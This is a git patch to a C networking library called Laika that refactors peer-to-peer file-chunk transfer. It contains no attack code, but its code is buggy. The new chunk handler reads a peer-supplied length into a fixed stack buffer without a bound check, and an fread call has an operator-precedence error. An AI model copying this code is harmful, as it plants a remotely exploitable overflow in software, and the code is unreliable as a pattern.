From 83002faa62444f4a20069e24c70117abaa0fedee Mon Sep 17 00:00:00 2001 From: CPunch Date: Tue, 17 May 2022 10:37:58 -0500 Subject: [PATCH] Lib: minor refactoring, more lcontent.c boilerplate --- lib/include/laika.h | 16 ++++++++ lib/include/lcontent.h | 21 +++++----- lib/include/lpeer.h | 3 +- lib/include/lsocket.h | 2 +- lib/include/ltask.h | 4 +- lib/src/lcontent.c | 89 +++++++++++++++++++++++++++++++++--------- lib/src/lpeer.c | 4 ++ 7 files changed, 108 insertions(+), 31 deletions(-) diff --git a/lib/include/laika.h b/lib/include/laika.h index 11131ed..21d24ed 100644 --- a/lib/include/laika.h +++ b/lib/include/laika.h @@ -22,4 +22,20 @@ # define LAIKA_FORCEINLINE __forceinline #endif +#define MIN(a, b) \ + ({ __typeof__ (a) _a = (a); \ + __typeof__ (b) _b = (b); \ + _a < _b ? _a : _b; }) + +#define MAX(a, b) \ + ({ __typeof__ (a) _a = (a); \ + __typeof__ (b) _b = (b); \ + _a > _b ? _a : _b; }) + +struct sLaika_peer; +struct sLaika_socket; +struct sLaika_pollList; +struct sLaika_task; +struct sLaika_taskService; + #endif \ No newline at end of file diff --git a/lib/include/lcontent.h b/lib/include/lcontent.h index 528b8ce..3c76d15 100644 --- a/lib/include/lcontent.h +++ b/lib/include/lcontent.h @@ -1,7 +1,8 @@ #ifndef LAIKA_CONTENT_H #define LAIKA_CONTENT_H -#include "lpeer.h" +#include "laika.h" +#include "lpacket.h" #include #include @@ -18,29 +19,31 @@ enum { typedef uint8_t CONTENT_TYPE; typedef uint8_t CONTENT_ERRCODE; +typedef uint16_t CONTENT_ID; struct sLaika_content { + struct sLaika_content *next; FILE *fd; uint32_t sz; /* content size */ uint32_t processed; - uint16_t id; + CONTENT_ID id; CONTENT_TYPE type; - struct sLaika_content *next; }; struct sLaika_contentContext { - struct sLaika_peer *peer; struct sLaika_content *headIn; /* receiving from peer */ struct sLaika_content *headOut; /* sending to peer */ - uint16_t nextID; + CONTENT_ID nextID; }; -void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer); +void laikaF_initContext(struct sLaika_contentContext *context); void laikaF_cleanContext(struct sLaika_contentContext *context); -int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type); -void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type); +int laikaF_newOutContent(struct sLaika_peer *peer, FILE *fd, CONTENT_TYPE type); +void laikaF_newInContent(struct sLaika_peer *peer, CONTENT_ID id, uint32_t sz, CONTENT_TYPE type); -void laikaF_poll(struct sLaika_contentContext *context); +void laikaF_pollContent(struct sLaika_peer *peer); + +void laikaF_handleContentChunk(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); #endif \ No newline at end of file diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 7448e91..eff1c56 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -6,6 +6,7 @@ #include "lpacket.h" #include "lpolllist.h" #include "lsodium.h" +#include "lcontent.h" typedef enum { PEER_UNKNWN, @@ -30,7 +31,6 @@ typedef enum { # endif #endif -struct sLaika_peer; typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); struct sLaika_peerPacketInfo { @@ -43,6 +43,7 @@ struct sLaika_peerPacketInfo { struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ + struct sLaika_contentContext context; uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN]; diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index f2e68ae..ef208b0 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -51,6 +51,7 @@ #include #include +#include "laika.h" #include "lsodium.h" typedef enum { @@ -60,7 +61,6 @@ typedef enum { RAWSOCK_POLL } RAWSOCKCODE; -struct sLaika_socket; typedef bool (*pollEvent)(struct sLaika_socket *sock); typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData); diff --git a/lib/include/ltask.h b/lib/include/ltask.h index 2397bf9..0ef00c6 100644 --- a/lib/include/ltask.h +++ b/lib/include/ltask.h @@ -3,8 +3,8 @@ #include -struct sLaika_task; -struct sLaika_taskService; +#include "laika.h" + typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); struct sLaika_task { diff --git a/lib/src/lcontent.c b/lib/src/lcontent.c index aa5ebed..c2b59b7 100644 --- a/lib/src/lcontent.c +++ b/lib/src/lcontent.c @@ -1,3 +1,4 @@ +#include "laika.h" #include "lcontent.h" #include "lmem.h" #include "lerror.h" @@ -5,6 +6,8 @@ #include "lsocket.h" #include "lpeer.h" +#define CONTENTCHUNK_MAX_BODY (LAIKA_MAX_PKTSIZE-sizeof(CONTENT_ID)) + size_t getSize(FILE *fd) { size_t sz; fseek(fd, 0L, SEEK_END); @@ -13,17 +16,17 @@ size_t getSize(FILE *fd) { return sz; } -bool isValidID(struct sLaika_contentContext *context, uint16_t id) { +struct sLaika_content* getContentByID(struct sLaika_contentContext *context, CONTENT_ID id) { struct sLaika_content *curr = context->headIn; while (curr) { if (curr->id == id) - return true; + return curr; curr = curr->next; } - return false; + return NULL; } void freeContent(struct sLaika_content *content) { @@ -51,15 +54,34 @@ void rmvFromOut(struct sLaika_contentContext *context, struct sLaika_content *co } } -void sendContentError(struct sLaika_peer *peer, uint16_t id, CONTENT_ERRCODE err) { +void rmvFromIn(struct sLaika_contentContext *context, struct sLaika_content *content) { + struct sLaika_content *last = NULL, *curr = context->headIn; + + while (curr) { + /* if found, remove it! */ + if (curr == content) { + if (last) + last->next = curr->next; + else + context->headIn = curr->next; + + freeContent(curr); + break; + } + + last = curr; + curr = curr->next; + } +} + +void sendContentError(struct sLaika_peer *peer, CONTENT_ID id, CONTENT_ERRCODE err) { laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_ERROR); - laikaS_writeInt(&peer->sock, &id, sizeof(uint16_t)); + laikaS_writeInt(&peer->sock, &id, sizeof(CONTENT_ID)); laikaS_writeByte(&peer->sock, err); laikaS_endOutPacket(peer); } -void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer) { - context->peer = peer; +void laikaF_initContext(struct sLaika_contentContext *context) { context->headIn = NULL; context->headOut = NULL; context->nextID = 0; @@ -85,9 +107,9 @@ void laikaF_cleanContext(struct sLaika_contentContext *context) { } } -int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type) { +int laikaF_newOutContent(struct sLaika_peer *peer, FILE *fd, CONTENT_TYPE type) { struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content)); - struct sLaika_peer *peer = context->peer; + struct sLaika_contentContext *context = &peer->context; /* init content struct */ content->fd = fd; @@ -102,17 +124,19 @@ int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTEN /* let the peer know we're sending them some content */ laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_NEW); - laikaS_writeInt(&peer->sock, &content->id, sizeof(uint16_t)); + laikaS_writeInt(&peer->sock, &content->id, sizeof(CONTENT_ID)); laikaS_writeInt(&peer->sock, &content->sz, sizeof(uint32_t)); laikaS_writeByte(&peer->sock, type); laikaS_endOutPacket(peer); } -void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type) { +/* new content we're recieving from a peer */ +void laikaF_newInContent(struct sLaika_peer *peer, CONTENT_ID id, uint32_t sz, CONTENT_TYPE type) { struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content)); + struct sLaika_contentContext *context = &peer->context; - if (isValidID(context, id)) { - sendContentError(context->peer, id, CONTENT_ERR_ID_IN_USE); + if (getContentByID(context, id)) { + sendContentError(peer, id, CONTENT_ERR_ID_IN_USE); LAIKA_ERROR("ID [%d] is in use!\n", id); } @@ -127,27 +151,56 @@ void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uin context->headIn = content; } -void laikaF_poll(struct sLaika_contentContext *context) { - uint8_t buff[LAIKA_MAX_PKTSIZE-sizeof(uint16_t)]; - struct sLaika_peer *peer = context->peer; +void laikaF_pollContent(struct sLaika_peer *peer) { + uint8_t buff[CONTENTCHUNK_MAX_BODY]; + struct sLaika_contentContext *context = &peer->context; struct sLaika_content *tmp, *curr = context->headOut; int rd; /* traverse our out content, sending each chunk */ while (curr) { /* if we've reached the end of the file stream, remove it! */ - if (rd = fread(buff, sizeof(uint8_t), (curr->sz - curr->processed > (LAIKA_MAX_PKTSIZE-sizeof(uint16_t)) ? LAIKA_MAX_PKTSIZE-sizeof(uint16_t) : curr->sz - curr->processed), curr->fd) == 0) { + if (rd = fread(buff, sizeof(uint8_t), MIN(curr->sz - curr->processed, CONTENTCHUNK_MAX_BODY), curr->fd) == 0) { tmp = curr->next; rmvFromOut(context, curr); curr = tmp; continue; } + /* send chunk */ laikaS_startVarPacket(peer, LAIKAPKT_CONTENT_CHUNK); - laikaS_writeInt(&peer->sock, &curr->id, sizeof(uint16_t)); + laikaS_writeInt(&peer->sock, &curr->id, sizeof(CONTENT_ID)); laikaS_write(&peer->sock, buff, rd); laikaS_endVarPacket(peer); + curr->processed += rd; curr = curr->next; } +} + +/* ============================================[[ Packet Handlers ]]============================================= */ + +void laikaF_handleContentChunk(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + uint8_t buff[CONTENTCHUNK_MAX_BODY]; + struct sLaika_contentContext *context = &peer->context; + struct sLaika_content *content; + CONTENT_ID id; + size_t bodySz = sz-sizeof(CONTENT_ID); + + if (sz <= sizeof(CONTENT_ID)) + LAIKA_ERROR("malformed chunk packet!\n"); + + /* read and sanity check id */ + laikaS_readInt(&peer->sock, &id, sizeof(CONTENT_ID)); + if ((content = getContentByID(context, id)) == NULL) + LAIKA_ERROR("chunk recieved with invalid id! [%d]\n", id); + + /* read data & write to file */ + laikaS_read(&peer->sock, buff, bodySz); + if (fwrite(buff, sizeof(uint8_t), bodySz, content->fd) != bodySz) { + rmvFromIn(context, content); + } else { + /* TODO: if content->processed == content->sz then handle full file received event */ + content->processed += bodySz; + } } \ No newline at end of file diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index 17597e4..5f3e705 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -27,10 +27,14 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN); memset(peer->inet, 0, LAIKA_INET_LEN); memset(peer->ipv4, 0, LAIKA_IPV4_LEN); + + /* init content context */ + laikaF_initContext(&peer->context); return peer; } void laikaS_freePeer(struct sLaika_peer *peer) { + laikaF_cleanContext(&peer->context); laikaS_cleanSocket(&peer->sock); laikaM_free(peer); }